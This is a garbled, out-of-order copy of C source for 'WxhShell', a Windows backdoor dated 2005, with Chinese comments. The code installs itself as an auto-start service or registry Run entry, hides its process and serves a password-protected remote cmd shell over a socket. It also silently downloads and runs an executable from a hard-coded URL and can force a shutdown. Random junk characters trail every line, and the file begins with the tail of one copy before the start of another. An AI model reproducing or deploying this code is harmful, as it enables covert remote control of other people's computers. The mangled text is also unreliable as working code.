    if(Boot(SHUTDOWN)) lXS.,#lp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8 ,?\7)S9  
    else { !giL~}j(R  
    closesocket(wsh); y pv~F  
    ExitThread(0); Ph'P<h:V  
    } }Zue?!KQ  
    break; I=)u:l c  
    } 0[JJ  
  // 获取shell p ] V  
  case 's': { [Az<E3H"  
    CmdShell(wsh); f\}fUg 2  
    closesocket(wsh); 1>1&NQ#}  
    ExitThread(0); Ap{p_~~iJ  
    break; a'zf8id  
  } =Vv"\p8  
  // 退出 Quy&CV{@  
  case 'x': { |Fk>NX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w]hs1vch  
    CloseIt(wsh); Ccld;c&+  
    break; ndn)}Z!0h  
    } _h2axXFhT  
  // 离开 WKib$(%f6  
  case 'q': { @Q;%hb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9@LL_r`?<  
    closesocket(wsh); zU;%s<(p  
    WSACleanup(); %- W3F5NK  
    exit(1); "/e:V-W   
    break; z  %Ty;  
        } *E0dCY$  
  } 3,2|8Q,((!  
  } E({W`b~_f  
< `r+ZyM  
  // 提示信息 =ILE/ pC-|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I'Dc9&2  
} f D<9k  
  } Fy^=LrH=D  
LE!xj 0  
  return;  $^F L*w  
} UMN3.-4K#  
YL_M=h>P  
// shell模块句柄 |N%?7PZ(  
int CmdShell(SOCKET sock) fz[o;GTc  
{ ]o18oY(  
STARTUPINFO si; #"J8]3\F  
ZeroMemory(&si,sizeof(si)); 3":vjDq$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U_t[J|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #1-,s.)  
PROCESS_INFORMATION ProcessInfo; a\60QlAk~  
char cmdline[]="cmd"; \&K{v#g ~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B|9)4f&\=R  
  return 0; KTr7z^  
} \wR $_X&  
!2-f%x]tO  
// 自身启动模式 q#RUL!WF7U  
int StartFromService(void) uURm6mVt9:  
{ c]SXcA;Pmv  
typedef struct J!40` 8i  
{ 9K]Li\  
  DWORD ExitStatus; *E*= ;BG  
  DWORD PebBaseAddress; 'aYUF&GG  
  DWORD AffinityMask; _Mi`]VSq9  
  DWORD BasePriority; ]}t6V]`Q  
  ULONG UniqueProcessId; $#VEC0  
  ULONG InheritedFromUniqueProcessId; .ME>ICA  
}   PROCESS_BASIC_INFORMATION; a<c]N:1  
dux.Z9X?  
PROCNTQSIP NtQueryInformationProcess; )k)HQcfjD  
r%`g` It  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cEI "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (_h=|VjK(I  
5bKBVkJ'  
  HANDLE             hProcess; wKxw|Fpn  
  PROCESS_BASIC_INFORMATION pbi; a8D7n Ea  
:w|ef;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Dr'  
  if(NULL == hInst ) return 0; BvQMq5&  
1b^e4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rC`pTN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CD}::7$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :G3PdQb^  
BC:d@  
  if (!NtQueryInformationProcess) return 0; 7s8-Uwl<  
{)V!wSi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8DAHaS;  
  if(!hProcess) return 0; <v&L90+s\;  
HQtR;[1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 52X[ {  
BK$cN>J  
  CloseHandle(hProcess); &B1j,$NRc  
b#~K>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tuT>,BbR  
if(hProcess==NULL) return 0; k P]'  
_}bs0 kIz  
HMODULE hMod;  cs+;ijp  
char procName[255]; b |SDg%e  
unsigned long cbNeeded; Q]/ZVcoqo  
C K#^`w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p **Sd[|  
{KQ-QKxxS  
  CloseHandle(hProcess); >:o$h2  
2VpKG*!\  
if(strstr(procName,"services")) return 1; // 以服务启动 55Pe&V1=  
P 2-^j)  
  return 0; // 注册表启动 Dq07Z^#'  
} F,dPmR  
h^QLvOuR  
// 主模块 6 zyxGJ(  
int StartWxhshell(LPSTR lpCmdLine)  }?eO.l{  
{ p{@jM  
  SOCKET wsl; FIMM\W  
BOOL val=TRUE; +56N}MAs  
  int port=0; 91f{qq=#J{  
  struct sockaddr_in door; 6!39t  
NUO#[7OK+x  
  if(wscfg.ws_autoins) Install(); Wi U-syNh  
'6g;UOx^=  
port=atoi(lpCmdLine); lJHU1 gu  
@\*`rl]  
if(port<=0) port=wscfg.ws_port; .ZOG,h+8  
PJfADB7Y  
  WSADATA data; Y0z)5),[U:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8SZZ_tS3r  
hkpS}*L9o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g5& ZXA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5q^5DH_;  
  door.sin_family = AF_INET; 4h*c{do  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %LM2CgH V  
  door.sin_port = htons(port); |*fi!nvk@  
dI(1L~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2v$\mL  
closesocket(wsl); r+Pfq[z&  
return 1; R|m!*B~  
} ;S_Imf0$v  
X-4(oE  
  if(listen(wsl,2) == INVALID_SOCKET) { iv!;gMco  
closesocket(wsl); +X%pUe  
return 1;  l;;,[xhq  
} UuKW`(?^  
  Wxhshell(wsl); /4I9Elr  
  WSACleanup(); /KTWBcs 7  
d[F3"b%  
return 0; c)j60y   
1b=,lm  
} 49o/S2b4z  
ul-O3]\'@  
// 以NT服务方式启动 /$\N_`bM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P7 h^!a/  
{ (.J6>"K<  
DWORD   status = 0; :R'={0Jg  
  DWORD   specificError = 0xfffffff; >qy$W4  
j'uzjs[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]\1H=g%Ou  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lNLa:j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; og?L 9  
  serviceStatus.dwWin32ExitCode     = 0; *b4W+E  
  serviceStatus.dwServiceSpecificExitCode = 0; Z!+n/ D-1  
  serviceStatus.dwCheckPoint       = 0; 5_\1f|,  
  serviceStatus.dwWaitHint       = 0; 1rIL[(r4  
GU0[K#%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w-"tA`F4  
  if (hServiceStatusHandle==0) return; F05]6NVv  
6Z@?W  
status = GetLastError(); \zJb}NbnT  
  if (status!=NO_ERROR) ^\oMsU5(  
{ &s8vmUt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D!DL6l`  
    serviceStatus.dwCheckPoint       = 0; P(b ds  
    serviceStatus.dwWaitHint       = 0; 84_Y+_9  
    serviceStatus.dwWin32ExitCode     = status; *kt|CXxAS8  
    serviceStatus.dwServiceSpecificExitCode = specificError; *qA:%m3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <lZVEg  
    return; w5+(A_  
  } :sS4T&@1=  
E{'Y>g B6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cK-jN9U  
  serviceStatus.dwCheckPoint       = 0; `.g'bZ<v/  
  serviceStatus.dwWaitHint       = 0; V 7oE\cxr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,`ba?O?*G  
} ?>1wZ  
i'B$Xr  
// 处理NT服务事件,比如:启动、停止 Ou_2UT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Obx!>mI^6  
{ @rv)J[7Y&  
switch(fdwControl) q%/\  
{ ?BX}0RWMh7  
case SERVICE_CONTROL_STOP: m f\tMik<  
  serviceStatus.dwWin32ExitCode = 0; nKmf#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L=@8Z i!2<  
  serviceStatus.dwCheckPoint   = 0; D/ tCB-+  
  serviceStatus.dwWaitHint     = 0; G|I}x/X"Q7  
  { BZa`:ah~x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pwv mb\  
  } ,z01 *Yx  
  return; x21XzGLY|}  
case SERVICE_CONTROL_PAUSE: GM Y[Gd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Zo{D |hW  
  break; n0FzDQt26  
case SERVICE_CONTROL_CONTINUE: ><C9PS@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;> %wf3e  
  break; gSHN,8. `  
case SERVICE_CONTROL_INTERROGATE: ,:{+-v(  
  break; mLV0J '  
}; (~NR."s;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OD~yIV  
} w5vzj%6i  
oT!i}TW?o  
// 标准应用程序主函数 3fUiYI|&7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ Zw37C9J  
{ !iL6/  
y[/:?O}g4  
// 获取操作系统版本 <OrQbrWQa  
OsIsNt=GetOsVer(); h %5keiA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5S ) N&%  
zCS&w ~  
  // 从命令行安装 F9>"1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4,&f#=Y  
1*f/Y9 Z  
  // 下载执行文件 ?jsgBol  
if(wscfg.ws_downexe) { JF'<""  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ltv ~Kh  
  WinExec(wscfg.ws_filenam,SW_HIDE); ctPT=i60  
} &"=O!t2  
/ <+F/R'=O  
if(!OsIsNt) { }&]T0U`@  
// 如果时win9x,隐藏进程并且设置为注册表启动 tlYB'8bJY  
HideProc(); N+vsQ!Qz  
StartWxhshell(lpCmdLine); z2jS(N?J1  
} ";upu  
else BO+t o.  
  if(StartFromService()) S rhBU6K  
  // 以服务方式启动 TCK#bJ  
  StartServiceCtrlDispatcher(DispatchTable); {]iM5?  
else  zj$Ve  
  // 普通方式启动 I/zI\PP,  
  StartWxhshell(lpCmdLine); #@ F   
RLO<5L  
return 0; @cQ |`  
} BnG{) \s  
d>0 j!+s  
HP=5 a.  
YXg^t$  
=========================================== !{!(yP_  
PB #EU 9  
H|3CZ=U?  
IH"_6s#$&  
uM[[skc  
EiS2-Uh*TT  
" z3M6<.K  
}vZTiuzC  
#include <stdio.h> KDr)'gl&  
#include <string.h> V$ho9gQ!l[  
#include <windows.h> !,~C  
#include <winsock2.h> Gw#z:gX2  
#include <winsvc.h> {5SJ0'.B2g  
#include <urlmon.h> 5*O]`Q7  
Mn*5oH  
#pragma comment (lib, "Ws2_32.lib") uFG ;AY|  
#pragma comment (lib, "urlmon.lib") 0xV[C4E[6  
?SX0e(+}}  
#define MAX_USER   100 // 最大客户端连接数 1]aya(  
#define BUF_SOCK   200 // sock buffer ,w,)n^  
#define KEY_BUFF   255 // 输入 buffer +$R%Vbd  
_@Y17L.  
#define REBOOT     0   // 重启 &D`$YUl@  
#define SHUTDOWN   1   // 关机 ]_hXg*?  
s5ILl wr  
#define DEF_PORT   5000 // 监听端口 F~3 &@TWi  
5IP@_GV|  
#define REG_LEN     16   // 注册表键长度 R+Rb[,m  
#define SVC_LEN     80   // NT服务名长度 f|,2u5 ;z  
&>Z p}.V  
// 从dll定义API mFyYn,Mu|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N8Un42  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `nL^]i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }b>e lz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bQwiJ`B&  
\V*E:_w*  
// wxhshell配置信息 mnH1-}oL  
struct WSCFG { :Ek3]`q#  
  int ws_port;         // 监听端口 'D?sRbJ=  
  char ws_passstr[REG_LEN]; // 口令 2'WdH1UrBc  
  int ws_autoins;       // 安装标记, 1=yes 0=no )J&!>GP  
  char ws_regname[REG_LEN]; // 注册表键名 {#l@9r%  
  char ws_svcname[REG_LEN]; // 服务名 ?Q6ZZQ~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }9?fb[]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .-: 6L2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {ZgycMS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4OdK@+-8U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ot3+<{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Of{'A  
w&}UgtEm  
}; kN* \yH|  
DO? bJ01  
// default Wxhshell configuration =e]Wt/AQ  
struct WSCFG wscfg={DEF_PORT, ]K%D$x{+\  
    "xuhuanlingzhe", Ay\!ohIS3  
    1, Mp^U)S+  
    "Wxhshell", nHB`<B  
    "Wxhshell", yXA]E.K!  
            "WxhShell Service", Xqas[:)7+  
    "Wrsky Windows CmdShell Service", LiD-su D  
    "Please Input Your Password: ", (ZEDDV2  
  1, D"n 3If%  
  "http://www.wrsky.com/wxhshell.exe", ;%PdSG=U  
  "Wxhshell.exe" B'D 4]EB  
    }; \8S HX  
4?e7s.9N  
// 消息定义模块 k N$L8U8f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,lw<dB@7"5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XJf1LGT5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }UHoa  
char *msg_ws_ext="\n\rExit."; B9h>  
char *msg_ws_end="\n\rQuit.";   S?m4  
char *msg_ws_boot="\n\rReboot..."; .:jfNp~jt  
char *msg_ws_poff="\n\rShutdown..."; [u`9R<>c"U  
char *msg_ws_down="\n\rSave to "; FZtILlw  
cH$Sk  
char *msg_ws_err="\n\rErr!"; Hy1f,D  
char *msg_ws_ok="\n\rOK!"; ACxjY2  
\6v*c;ZF  
char ExeFile[MAX_PATH]; E- rXYNfy  
int nUser = 0; (`Q_^Bfyl  
HANDLE handles[MAX_USER]; `!g XA.9Uv  
int OsIsNt; zgHF-KEV  
<S M%M?  
SERVICE_STATUS       serviceStatus; qxglA*/ [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H>5@/0cL2  
K\>CXa  
// 函数声明 ic|>JX$G  
int Install(void); } g[(h=Qi  
int Uninstall(void); NYZI;P1DA  
int DownloadFile(char *sURL, SOCKET wsh); 8fs::}0  
int Boot(int flag); %+Khj@aX  
void HideProc(void); 4U1"F 7'  
int GetOsVer(void); {piZm12q?  
int Wxhshell(SOCKET wsl); kzb1iBe 6m  
void TalkWithClient(void *cs); iG;GAw|E  
int CmdShell(SOCKET sock); Xa32p_|5~  
int StartFromService(void); @Y2&v956  
int StartWxhshell(LPSTR lpCmdLine); ] Q\/si&  
?{I]!gI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zbL6TP@=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t^1c^RpTb  
Cdd +I5~  
// 数据结构和表定义 5%6r,?/7KM  
SERVICE_TABLE_ENTRY DispatchTable[] = lGP'OY"Q  
{ UBxQ4)%  
{wscfg.ws_svcname, NTServiceMain}, ~2*8pb 4  
{NULL, NULL} gT6@0ANq  
}; .EUOKPK4W  
K%"cVqb2V  
// 自我安装 0UT2sM$  
int Install(void) y:8*!}fR  
{ .J3Dk=/  
  char svExeFile[MAX_PATH]; a<K@rgQ  
  HKEY key; f<0nj?  
  strcpy(svExeFile,ExeFile); ~8G<Nw4*\  
L3- tD67oa  
// 如果是win9x系统,修改注册表设为自启动 :S5B3S@|  
if(!OsIsNt) { D;al(q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )v67wn*1A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OVm $  
  RegCloseKey(key); pJE317 p'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U ]6 Hml;l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yegTKoY  
  RegCloseKey(key); TBYRY)~f  
  return 0; Pc4FEH/  
    } glppb$oB\  
  } G&Sp }  
} RT)*H>|  
else { ' cl&S:  
5? s$(Lt~  
// 如果是NT以上系统,安装为系统服务 V/G'{ q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nEM>*;iE   
if (schSCManager!=0) vWwnC)5  
{ fH7o,U|  
  SC_HANDLE schService = CreateService u F T&r|  
  ( \i=,[8t[r  
  schSCManager, mSzBNvc i  
  wscfg.ws_svcname, f9g#pyH4  
  wscfg.ws_svcdisp, vO2o/   
  SERVICE_ALL_ACCESS, ?q <"!U|e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +`x8[A)-  
  SERVICE_AUTO_START, Osdw\NNH~M  
  SERVICE_ERROR_NORMAL, ?b~Vuo  
  svExeFile, j9za)G-J  
  NULL, ]64mSB  
  NULL, *_z5Pa`A  
  NULL, NVMhbpX6  
  NULL, Z?5kO-[  
  NULL h*Y);mc$#  
  ); 8v M}moper  
  if (schService!=0) {qCmZn5  
  { WKQVT I&A.  
  CloseServiceHandle(schService); #<bt}Tht  
  CloseServiceHandle(schSCManager); *Ki ],>_~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u9FXZK7  
  strcat(svExeFile,wscfg.ws_svcname); qF(F<$B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )BY\c7SG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J..>ApX  
  RegCloseKey(key); Ogf myYMtc  
  return 0; vb}; _/ #?  
    } sSi1;9^o  
  } por[p\M.  
  CloseServiceHandle(schSCManager); V>j6Juh  
} lV-7bZ  
} )dJaF#6j  
}xHoitOD  
return 1; ~:f9,  
} 9psX"*s  
` =!&9o  
// 自我卸载 z$E+xZ  
int Uninstall(void) pI |;  
{ ]}cai1  
  HKEY key; >yn%.Uoh@  
d9[*&[2J|  
if(!OsIsNt) { n}qHt0N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KD^>Vv#  
  RegDeleteValue(key,wscfg.ws_regname); ]+W+8)f 1M  
  RegCloseKey(key); !p1OBS|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gv}*T w$  
  RegDeleteValue(key,wscfg.ws_regname); Pt?]JJxl-  
  RegCloseKey(key); DEaO= p|  
  return 0; J56+eC(  
  } B3'qmi<  
} @xW)&d\'  
} d(w $! $"h  
else { u7&r'rZ1_!  
5DfAL;o!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <$n%h/2%  
if (schSCManager!=0) WJZW5 Xt  
{ mk1;22o{TX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SM5i3EcFYP  
  if (schService!=0) UcDJ%vI  
  { [K[tL|EK  
  if(DeleteService(schService)!=0) { _`L,}=um'  
  CloseServiceHandle(schService); 4em7PmT  
  CloseServiceHandle(schSCManager); vfJ}t#%UH  
  return 0;  pFGK-J  
  } =V1k'XJ  
  CloseServiceHandle(schService); S'HM|&  
  } O9]j$,i  
  CloseServiceHandle(schSCManager); _$By c(.c  
} Wy,DA^\ef  
} ;"&^ckP  
zGu(y@o  
return 1; gqJ&Q t#f  
} fEdQR->  
 FZnkQ  
// 从指定url下载文件 *L/_ v  
int DownloadFile(char *sURL, SOCKET wsh) MwL' H<  
{ *J?QXsg  
  HRESULT hr; d5]9FIj  
char seps[]= "/"; Y*O7lZuF%  
char *token; S)z jfJR  
char *file; ,:QG%Et  
char myURL[MAX_PATH]; [b J/$A  
char myFILE[MAX_PATH]; X4&{/;$  
: KZI+  
strcpy(myURL,sURL); 7C ABM  
  token=strtok(myURL,seps); )__vPPko i  
  while(token!=NULL) F$ x@ ]  
  {  ^DVr>u  
    file=token; 1&Rz'JQ+  
  token=strtok(NULL,seps); +}>whyX1  
  } ?{$Q'c_I  
yEtSyb~GK  
GetCurrentDirectory(MAX_PATH,myFILE); J& +s  
strcat(myFILE, "\\"); kYz)h  
strcat(myFILE, file); X\hD 4r"  
  send(wsh,myFILE,strlen(myFILE),0); '+Dn~8Y+9  
send(wsh,"...",3,0); FJv=5L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &7T0nB/)  
  if(hr==S_OK) $.cNY+  k  
return 0; [Ym?"YwVX  
else 42:\1B#[  
return 1; ? 8S0  
B>t$Z5Q^X  
} O:RPH{D  
G[r_|-^S  
// 系统电源模块 OAR1u}  
int Boot(int flag) ,$mnD@)  
{ f/?# 1  
  HANDLE hToken; 4 Yc9Ij  
  TOKEN_PRIVILEGES tkp; vd SV6p.d  
4<70mUnt  
  if(OsIsNt) { 5P -IZ8~$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U{RW=sYB~9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S,lJ&Rsu  
    tkp.PrivilegeCount = 1; 3otia ;&B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cuBOE2vB.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i15uHl  
if(flag==REBOOT) { ]/HSlT=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g[44YrRD  
  return 0; kG &.|  
} kW4/0PD  
else { X(?.*m@+TB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d[w'j/{  
  return 0; B1JdkL 3h  
} 0lF.!\9  
  } 5 r"`c  
  else { 0MF[e3)a  
if(flag==REBOOT) { .Hl]xI$;+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -B9C2  
  return 0; mgL~ $  
} R?(0:f  
else { (i1FMd}G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1@P/h#_Vr  
  return 0; k)b}"' I  
} c#$B;?  
} 05LVfgJ'q  
Cv>|>Ob#  
return 1; )(9>r /bq  
} ?&_ -,\t  
CK 3]]{  
// win9x进程隐藏模块 EJ.oq*W!*J  
void HideProc(void) 'LpJ:Th  
{ bA@!0,m  
tU >wRw=d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CuR\JKdRo  
  if ( hKernel != NULL ) Lz2wOB1Zc+  
  { *j?tcxq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;RflzY|D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dD?1te  
    FreeLibrary(hKernel); ';hU&D;s  
  } lt|\$Iy(  
|o6 h:g  
return; 2BXpk^d5y  
} z~L''X7g  
Al09R,I;  
// 获取操作系统版本 C$vKRg\o  
int GetOsVer(void) A`T VV  
{ )y\^5>p[  
  OSVERSIONINFO winfo; Ds9pXgU( Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); od{Y` .<  
  GetVersionEx(&winfo); ^o_2=91  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =dHM)OXD"  
  return 1; d=o|)kV  
  else 7cr@;%#  
  return 0; V8ZE(0&II}  
} wdS^`nz|  
);_g2=:#  
// 客户端句柄模块 ]@Y8! ,  
int Wxhshell(SOCKET wsl) b4Br!PL@G  
{ 5B#q/d1/a  
  SOCKET wsh; .X\p;~H 5  
  struct sockaddr_in client; `utv@9 _z  
  DWORD myID; k<Z^93 S  
Y;8Ys&/t  
  while(nUser<MAX_USER) _7'9omq@  
{ 8*!<,k="9  
  int nSize=sizeof(client); mTz %;+|L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0; 2i"mzS\  
  if(wsh==INVALID_SOCKET) return 1; :'91qA%Wr  
D*6v.`]X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mcy\nAf5%  
if(handles[nUser]==0) L3JFQc/oh~  
  closesocket(wsh); a|SgGtBtT4  
else Rq )&v*=  
  nUser++; QG*=N {% 5  
  } 'A;G[(SYy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `uM:>  
&PaqqU.  
  return 0; dF:@BEo  
} QO0}-wZR  
']Gqa$(YC  
// 关闭 socket k"&l o h  
void CloseIt(SOCKET wsh) 'DO^($N  
{ 0?KXQD  
closesocket(wsh); /x,gdZPX  
nUser--; e:fp8 k<  
ExitThread(0); 91qk0z`N  
} Ef{rY|E  
@wy|l)%  
// 客户端请求句柄 P?p>'avP  
void TalkWithClient(void *cs) 'bJ!~ML&  
{ _*7h1[,{f  
rl4B(NZi}  
  SOCKET wsh=(SOCKET)cs; 7zXFQ|TP  
  char pwd[SVC_LEN]; v#0F1a?]D  
  char cmd[KEY_BUFF]; 8^\}\@  
char chr[1]; {STOWuY  
int i,j; h[ #Lg3  
i]J*lM7'  
  while (nUser < MAX_USER) { g}"`@H(9r3  
gF-<%<RV  
if(wscfg.ws_passstr) { Zu`; S#Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "X0"=1R~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +KgoLa  
  //ZeroMemory(pwd,KEY_BUFF); ZUP\)[~  
      i=0; M #'br<]  
  while(i<SVC_LEN) { x;)bp7  
KY34Sc  
  // 设置超时 ]E'BFon  
  fd_set FdRead; XI:8_F;Q  
  struct timeval TimeOut; pd{W(M78g  
  FD_ZERO(&FdRead); =M'M/vKD  
  FD_SET(wsh,&FdRead); PLU8:H@X  
  TimeOut.tv_sec=8; nlmc/1C  
  TimeOut.tv_usec=0; *vt5dxB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B!-hcn]y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oNQ;9&Z,^2  
wgfA\7Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Fa49B|`D  
  pwd=chr[0]; WA}<Zme3[  
  if(chr[0]==0xd || chr[0]==0xa) { ^ CVhV  
  pwd=0; ' QGacV   
  break; B?A c  
  } KwK[)Cvv  
  i++; x{{QS$6v  
    } !$Aijd s5  
]T|9>o!  
  // 如果是非法用户,关闭 socket $* 1?"$LN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RapHE; <  
} F}3<q   
!`=ms1%U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e9e%8hL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d]1%/$v^  
Fx,08  
while(1) { ^?PU:eS  
Z0&^U#]  
  ZeroMemory(cmd,KEY_BUFF); S^q)DuF5!  
'F%4[3a$\n  
      // 自动支持客户端 telnet标准   r>73IpJI  
  j=0; #p& &w1  
  while(j<KEY_BUFF) { Y.` {]rC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x ,$N!X  
  cmd[j]=chr[0]; 1=BDqSZ@9  
  if(chr[0]==0xa || chr[0]==0xd) { F*V<L   
  cmd[j]=0; q-s! hiK  
  break; 79 zFF  
  } 0#(K}9T)  
  j++; uC\FW6K=m  
    } dmh6o *  
u8ofgcFYE  
  // 下载文件 dxqVZksg(9  
  if(strstr(cmd,"http://")) { @X`~r8&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b3(pRg[Fp  
  if(DownloadFile(cmd,wsh)) BiGB<Jr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p@epl|IZp  
  else 50!/%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O7@CAr  
  } 5.gM]si  
